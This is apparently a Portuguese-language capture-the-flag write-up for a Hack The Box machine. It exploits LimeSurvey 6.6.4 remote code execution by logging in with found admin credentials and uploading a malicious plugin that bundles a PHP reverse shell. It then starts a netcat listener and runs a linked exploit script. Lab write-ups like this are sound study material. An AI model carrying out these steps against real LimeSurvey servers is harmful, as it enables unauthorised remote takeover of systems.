> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/limesurvey-cms-exploitation.md).

# LimeSurvey

## Vulnerabilidade no CMS LimeSurvey

{% embed url="<https://nasirli.medium.com/limesurvey-6-6-4-rce-0a54c2c09c5e>" %}

<figure><img src="/files/2fe5b881e0819c147b1924f09a96c7b88365390e" alt=""><figcaption></figcaption></figure>

#### Acesso à área de administração

A interface de administração está disponível no seguinte URL:

`http://take-survey.heal.htb/index.php/admin`

Faça login com as credenciais de Ralph:

* **Nome de usuário** : `ralph`
* **Senha** : `147258369`

<figure><img src="/files/154ee138df7ffc5c44ddb564f1d28aa0e2ba399c" alt=""><figcaption></figcaption></figure>

A versão do LimeSurvey é **6.6.4**, que é vulnerável a **Execução Remota de Código (RCE)**.

<figure><img src="/files/a15bac455de043633dace1a4acd9507672080482" alt="" width="563"><figcaption></figcaption></figure>

### Exploração de RCE por meio de uma extensão maliciosa

{% embed url="<https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE>" %}

Adapte o script de exploração ao contexto do alvo.

<figure><img src="/files/b2f0749927f257a4cc461a62f993402d23c4e6b4" alt=""><figcaption></figcaption></figure>

Primeiro, crie um arquivo compactado contendo `config.xml` e uma shell reversa em PHP:

```bash
zip -r N4s1rl1.zip config.xml revshell.php
```

<figure><img src="/files/a415e5b63d2a900b90398bb3d0c8092724349ef9" alt=""><figcaption></figcaption></figure>

Em seguida, instale o plugin malicioso pela interface web do LimeSurvey.

<figure><img src="/files/8b3cb8ef26ba2c2286e5144f024db0ab036b200b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f88a13eb7576f63bef500e1f5b8cbef2816d4ec8" alt="" width="501"><figcaption></figcaption></figure>

Passe o mouse sobre o plugin instalado para identificar o ID do plugin.

<figure><img src="/files/f7b67e8e8cd27af7edd44ee62de71184eaec5b99" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/b12c853e2f4fde99df49012e0c42359b3a2f3945" alt="" width="563"><figcaption></figcaption></figure>

Depois de atualizar o script com esse ID, inicie um listener na porta 443:

```bash
nc -nlvp 443
```

Por fim, execute a exploração com Python:

```bash
python3 exploit.py http://take-survey.heal.htb ralph 147258369 80
```

<figure><img src="/files/58bc4b535687533ae302ef78d366ebced2d0f61c" alt=""><figcaption></figcaption></figure>


---

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